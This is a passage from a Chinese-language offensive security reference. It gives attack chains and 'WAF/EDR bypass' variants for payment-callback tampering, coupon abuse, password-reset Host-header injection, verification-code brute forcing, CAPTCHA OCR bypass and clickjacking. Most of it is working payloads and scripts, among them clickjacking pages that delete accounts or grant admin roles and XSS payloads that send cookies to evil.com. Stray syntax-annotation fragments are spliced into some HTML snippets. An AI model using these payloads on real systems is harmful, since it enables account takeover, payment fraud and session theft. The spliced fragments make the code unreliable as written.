# 叠加使用多张优惠券
{"product_id": "P001", "coupons": ["C001", "C002", "C003"]}
# 替换高额优惠券ID
{"product_id": "P001", "coupon_id": "INTERNAL_VIP_100OFF"}
# 修改优惠金额字段
{"product_id": "P001", "coupon_discount": 9900}
4. 4. 支付回调篡改 伪造支付平台回调通知,篡改支付状态和金额
# 模拟支付成功回调
POST /api/payment/callback HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
order_id=ORD20240001&status=SUCCESS&amount=1&sign=tampered_sign
# 修改回调中的金额
order_id=ORD20240001&status=SUCCESS&amount=1&trade_no=FAKE123456
WAF/EDR 绕过变体:
1. 科学计数法绕过 利用科学计数法、浮点精度、类型混淆绕过金额校验
# 科学计数法
{"price": 1e-10}
# 浮点精度
{"price": 0.000000001}
# 字符串类型混淆
{"price": "0.01"}
# Unicode数字
{"price": "\uff10"}
密码重置逻辑缺陷 biz-password-reset
密码重置流程中的逻辑漏洞,包括重置令牌泄露、验证码爆破、响应操纵、Host头注入等攻击手法,可实现任意用户密码重置。
子类:认证缺陷 · tags: 密码重置 认证绕过 业务逻辑 验证码 Host注入
前置条件: 目标存在密码重置/找回功能;可拦截HTTP请求
攻击链:
1. 1. Host头注入窃取重置链接 修改Host头使重置邮件中的链接指向攻击者服务器,窃取重置token
POST /api/password/reset HTTP/1.1
Host: evil-server.com
X-Forwarded-Host: evil-server.com
Content-Type: application/json
{"email": "victim@target.com"}
# 受害者收到的重置链接变为:
# https://evil-server.com/reset?token=abc123
2. 2. 验证码爆破 暴力破解4-6位验证码,测试是否有频率限制
# 4位验证码爆破
for code in $(seq -w 0000 9999); do
response=$(curl -s -X POST "https://{TARGET}/api/verify-code" \
-H "Content-Type: application/json" \
-d "{\"phone\":\"13800138000\",\"code\":\"$code\"}")
if echo "$response" | grep -q "success"; then
echo "[+] Code found: $code"
break
fi
done
3. 3. 响应操纵绕过 拦截并修改服务端响应,前端可能仅依赖响应状态判断
# 原始失败响应
{"code": 400, "message": "验证码错误"}
# 拦截并修改为成功
{"code": 200, "message": "验证成功", "token": "reset_token_here"}
# 某些前端仅检查code字段就放行后续操作
4. 4. 重置令牌弱随机性 分析重置令牌的生成算法,检查是否基于可预测因素
# 收集多个重置令牌分析规律
token1: 1707811200_user1 (时间戳+用户名)
token2: 1707811260_user2
# 可预测的token生成
import hashlib
token = hashlib.md5(f"{timestamp}_{email}".encode()).hexdigest()
# 使用已知信息构造重置token
predicted = hashlib.md5(b"1707811200_victim@target.com").hexdigest()
WAF/EDR 绕过变体:
1. 多Host头绕过 使用多种HTTP头注入方式尝试覆盖重置链接中的域名
# 双Host头
Host: target.com
Host: evil.com
# 绝对URL覆盖
POST https://evil.com/api/password/reset HTTP/1.1
Host: target.com
# X-Forwarded系列
X-Forwarded-Host: evil.com
X-Forwarded-Server: evil.com
X-Original-URL: https://evil.com/reset
验证码绕过技术 biz-captcha-bypass
绕过图形验证码、短信验证码、滑动验证等人机验证机制的各种技术手法,包括响应泄露、复用攻击、OCR识别、逻辑缺陷利用等。
子类:验证码安全 · tags: 验证码 CAPTCHA 绕过 短信验证码 人机验证
前置条件: 目标存在验证码保护的功能;Python环境
攻击链:
1. 1. 验证码响应泄露 检查响应body、header、cookie中是否泄露验证码明文或编码值
# 检查响应中是否包含验证码
POST /api/send-sms HTTP/1.1
Host: {TARGET}
Content-Type: application/json
{"phone": "13800138000"}
# 响应可能泄露
{"code": 200, "captcha": "8462", "message": "发送成功"}
# 或在响应头中
X-Captcha-Code: 8462
Set-Cookie: captcha=ODQ2Mg== (base64 of 8462)
2. 2. 验证码复用攻击 验证码使用后未失效,同一验证码可反复使用
# 步骤1: 正常获取并输入正确验证码
POST /api/login
{"username": "test", "password": "test123", "captcha": "8462", "captcha_id": "abc"}
# 步骤2: 使用相同captcha_id和验证码反复尝试
POST /api/login
{"username": "admin", "password": "admin123", "captcha": "8462", "captcha_id": "abc"}
# 如果验证码未在使用后失效,可以一直复用
3. 3. 删除验证码参数 测试不传、空传、null传验证码参数时后端是否仍然校验
# 原始请求(包含验证码)
POST /api/login HTTP/1.1
{"username": "admin", "password": "pass", "captcha": "1234"}
# 删除验证码字段
POST /api/login HTTP/1.1
{"username": "admin", "password": "pass"}
# 空值测试
{"username": "admin", "password": "pass", "captcha": ""}
{"username": "admin", "password": "pass", "captcha": null}
4. 4. 万能验证码 测试开发者遗留的万能验证码或调试后门
# 常见万能/调试验证码
0000
1111
1234
8888
9999
6666
000000
123456
# 测试接口调试后门
{"phone": "13800138000", "code": "000000", "debug": true}
{"phone": "13800138000", "code": "master_code"}
WAF/EDR 绕过变体:
1. OCR自动识别图形验证码 使用ddddocr库自动识别图形验证码集成到爆破流程
import ddddocr
import requests
ocr = ddddocr.DdddOcr()
def solve_captcha(target):
# 获取验证码图片
resp = requests.get(f"https://{target}/captcha/image")
code = ocr.classification(resp.content)
return code
# 集成到爆破脚本中
for pwd in passwords:
captcha = solve_captcha("{TARGET}")
r = requests.post(f"https://{TARGET}/api/login",
json={"user":"admin","pass":pwd,"captcha":captcha})
if "success" in r.text:
print(f"[+] Password: {pwd}")
· 点击劫持
基础点击劫持 clickjacking-basic
通过透明iframe覆盖诱使用户在不知情的情况下点击隐藏的恶意按钮或链接
子类:基础 · tags: clickjacking ui-redressing iframe
前置条件: 目标站点允许被iframe嵌套;目标未设置X-Frame-Options响应头;目标未配置CSP frame-ancestors策略;HTML/CSS基础知识
攻击链:
1. 检测X-Frame-Options和CSP [linux] 检查目标是否设置了防点击劫持的安全头
curl -sI "http://target.com" | grep -iE "x-frame-options|content-security-policy|frame-ancestors"
# 批量检测:
for url in $(cat urls.txt); do
echo -n "$url: "
xfo=$(curl -sI "$url" | grep -i "x-frame-options")
csp=$(curl -sI "$url" | grep -i "frame-ancestors")
[ -z "$xfo" ] && [ -z "$csp" ] && echo "VULNERABLE" || echo "Protected: $xfo $csp"
done
2. 基础透明iframe覆盖POC 构造诱饵页面,将目标敏感操作页面以透明iframe覆盖在诱饵按钮上方
<html>
<head><title>Win a Prize!</title>
<style>
#target-frame {
position: absolute; top: 0; left: 0;
width: 500px; height: 500px;
opacity: 0.0001; /* 近乎完全透明 */
z-index: 2; border: none;
}
#decoy-btn {
position: absolute; top: 120px; left: 50px;
z-index: 1; padding: 15px 30px;
font-size: 20px; cursor: pointer;
background: #4CAF50; color: white;
border: none; border-radius: 5px;
}
</style></head>
<body>
<h1>Congratulations! You Won!</h1>
<p>Click the button to claim your prize:</p>
<button id="decoy-btn">Claim Prize</button>
<iframe id="target-frame" src="http://target.com/account/delete"></iframe>
</body></html>
3. 多步骤拖拽劫持(Drag-and-Drop) 利用HTML5拖拽API实现跨域数据提取型点击劫持
<html>
<head><style>
#source { width:200px; height:50px; background:#eee; text-align:center; line-height:50px; }
#target-frame { position:absolute; top:0; left:0; width:600px; height:400px; opacity:0.0001; z-index:10; }
</style>
<script>
// 监听拖拽事件,可以跨域提取数据
document.addEventListener("drag", function(e) {
console.log("Dragging:", e.dataTransfer.getData("text"));
});
</script></head>
<body>
<div id="source" draggable="true">Drag this to win!</div>
<div id="drop-zone" style="width:200px;height:200px;border:2px dashed #ccc;margin-top:20px;">Drop Here</div>
<iframe id="target-frame" src="http://target.com/profile" sandbox="allow-scripts allow-forms"></iframe>
</body></html>
4. 利用CSS pointer-events绕过 使用pointer-events:none使覆盖层不拦截点击,点击直接穿透到下层iframe
<style>
.overlay { pointer-events: none; position: absolute; z-index: 100; }
iframe { pointer-events: auto; position: absolute; opacity: 0; }
</style>
<div class="overlay">
<h1>Survey: Rate Our Service</h1>
<p>Select your rating below:</p>
<!-- 诱饵内容完全不拦截鼠标事件 -->
<div style="display:flex; gap:20px; margin-top:50px;">
<span style="font-size:40px">⭐</span>
<span style="font-size:40px">⭐⭐</span>
<span style="font-size:40px">⭐⭐⭐</span>
</div>
</div>
<iframe src="http://target.com/admin/grant-role?role=admin&user=attacker" style="width:100%;height:100%;border:none;"></iframe>
WAF/EDR 绕过变体:
1. iframe sandbox属性绕过 通过iframe sandbox属性的allow-top-navigation和allow-scripts组合绕过部分frame-busting脚本
<iframe src="https://target.com" sandbox="allow-scripts allow-forms allow-same-origin"></iframe>
<!-- 利用sandbox allow-top-navigation绕过 -->
<iframe src="https://target.com" sandbox="allow-scripts allow-top-navigation allow-forms"></iframe>
<!-- 利用sandbox+srcdoc绕过 -->
<iframe srcdoc="<script>top.location='https://target.com'</script>" sandbox="allow-scripts allow-top-navigation"></iframe>
2. X-Frame-Options ALLOW-FROM不一致 X-Frame-Options ALLOW-FROM在不同浏览器中表现不一致,Chrome/Safari完全忽略此指令
<!-- 利用浏览器对ALLOW-FROM支持不一致 -->
<!-- Chrome/Safari忽略ALLOW-FROM,仅CSP frame-ancestors生效 -->
<!-- 双重iframe绕过frame-busting -->
<iframe src="data:text/html,<iframe src='https://target.com'></iframe>"></iframe>
<!-- 利用window.name绕过 -->
<iframe src="attacker-page.html" name="payload_data"></iframe>
3. 双重嵌套iframe绕过 通过双重嵌套iframe使frame-busting脚本中的top引用指向中间页而非攻击页
<!-- 双重嵌套绕过frame-busting -->
<iframe src="middle-page.html"></iframe>
<!-- middle-page.html内容 -->
<html><body>,
syntaxBreakdown: [
{ part: '<script>', explanation: { zh: '脚本标签', en: 'Scripttag' }, type: 'tag' },
{ part: '<iframe>', explanation: { zh: '内嵌框架', en: 'Inline frame (iframe)' }, type: 'tag' }
]
<iframe src="https://target.com" sandbox="allow-forms"></iframe>
</body></html>
<!-- onbeforeunload阻止跳转 -->
<script>window.onbeforeunload=function(){return "x";}</script>
<iframe src="https://target.com"></iframe>
点击劫持+XSS clickjacking-xss
将点击劫持与XSS攻击结合,先通过点击劫持触发XSS攻击向量获取更深层的控制
子类:XSS · tags: clickjacking xss
前置条件: 目标存在XSS漏洞;目标允许被iframe嵌套;XSS payload可被点击触发
攻击链:
1. 识别可利用的XSS和Clickjacking组合 同时检测目标的点击劫持和XSS漏洞
# 1. 检测iframe嵌套防护
curl -sI "http://target.com" | grep -i "x-frame-options|frame-ancestors"
# 2. 检测已知XSS点
curl -s "http://target.com/search?q=<script>alert(1)</script>" | grep -i "script"
# 3. 检测Self-XSS (需要用户交互)
curl -s "http://target.com/profile/edit" -d "bio=<img+src=x+onerror=alert(document.cookie)>"
2. Self-XSS + Clickjacking组合利用 利用多步骤点击劫持触发Self-XSS——先引导用户点击编辑按钮,再诱导粘贴XSS payload
<html><head>
<style>
iframe { position:absolute; top:0; left:0; width:800px; height:600px; opacity:0.0001; z-index:10; }
.step { position:absolute; z-index:1; }
</style>
<script>
var step = 0;
function nextStep() {
step++;
if (step === 1) {
// 第一步:诱导用户点击"个人资料编辑"按钮
document.getElementById("msg").innerText = "Step 1: Click to claim reward!";
} else if (step === 2) {
// 第二步:诱导用户点击输入框
document.getElementById("msg").innerText = "Step 2: Click to verify identity!";
} else if (step === 3) {
// 第三步:诱导粘贴(Ctrl+V),执行XSS
document.getElementById("msg").innerText = "Step 3: Press Ctrl+V to paste verification code!";
navigator.clipboard.writeText('<img src=x onerror="fetch('https://evil.com/steal?'+document.cookie)">');
}
}
</script></head>
<body onload="nextStep()">
<h1 id="msg">Loading prize...</h1>
<button class="step" onclick="nextStep()" style="top:200px;left:100px;">Next Step</button>
<iframe src="http://target.com/profile/edit"></iframe>
</body></html>
3. 反射型XSS + iframe嵌套利用 将含有XSS payload的URL通过iframe加载,利用点击劫持触发需要用户交互的XSS
<html><head>
<style>
iframe { width:100%; height:100%; position:absolute; top:0; left:0; opacity:0; border:none; }
</style></head>
<body>
<h1>Free WiFi Login</h1>
<p>Please click "Connect" to access free WiFi</p>
<button style="padding:15px 40px; font-size:18px; margin-top:20px;">Connect</button>
<!-- iframe加载含XSS的URL,按钮位置精确对齐触发XSS -->
<iframe src="http://target.com/page?callback=<script>document.location='https://evil.com/steal?c='+document.cookie</script>"></iframe>
</body></html>
WAF/EDR 绕过变体:
1. CSP frame-ancestors绕过 利用data:/blob: URI和srcdoc属性绕过CSP中frame-ancestors指令对iframe内容的限制
<!-- 利用data: URI绕过CSP(旧浏览器) -->
<iframe src="data:text/html,<script>alert(document.domain)</script>"></iframe>
<!-- blob: URI绕过 -->
<script>
var blob = new Blob(['<script>alert(1)<\/script>'], {type: 'text/html'});
document.getElementById('frame').src = URL.createObjectURL(blob);
</script>
<!-- srcdoc属性绕过 -->
<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>
2. sandbox属性配置错误利用 利用sandbox属性中allow-scripts与allow-same-origin组合或allow-popups-to-escape-sandbox逃逸沙箱
<!-- sandbox allow-scripts允许执行JS -->
<iframe src="https://target.com" sandbox="allow-scripts allow-same-origin">
</iframe>,
syntaxBreakdown: [
{ part: '<script>', explanation: { zh: '脚本标签', en: 'Scripttag' }, type: 'tag' },
{ part: '<iframe>', explanation: { zh: '内嵌框架', en: 'Inline frame (iframe)' }, type: 'tag' },
{ part: 'alert()', explanation: { zh: '弹窗函数', en: 'Alert function' }, type: 'function' }
]
<!-- 利用allow-popups逃逸 -->
<iframe src="https://target.com" sandbox="allow-scripts allow-popups allow-popups-to-escape-sandbox">
</iframe>
<!-- allow-top-navigation + 点击劫持 -->
<iframe src="https://target.com" sandbox="allow-scripts allow-top-navigation-by-user-activation">
</iframe>
3. 拖放劫持注入XSS 通过HTML5拖放API将XSS payload从攻击页面拖入目标iframe中的可编辑区域
<!-- 拖放劫持将XSS payload注入目标页面 -->
<style>
#drag { position: absolute; z-index: 1; opacity: 0; }
#target { position: absolute; z-index: 0; }
</style>
<div id="drag" draggable="true"
ondragstart="event.dataTransfer.setData('text/html','<img src=x onerror=alert(1)>')">
Drag me
</div>
<iframe id="target" src="https://target.com/page-with-editable-field"
sandbox="allow-scripts allow-same-origin">
</iframe>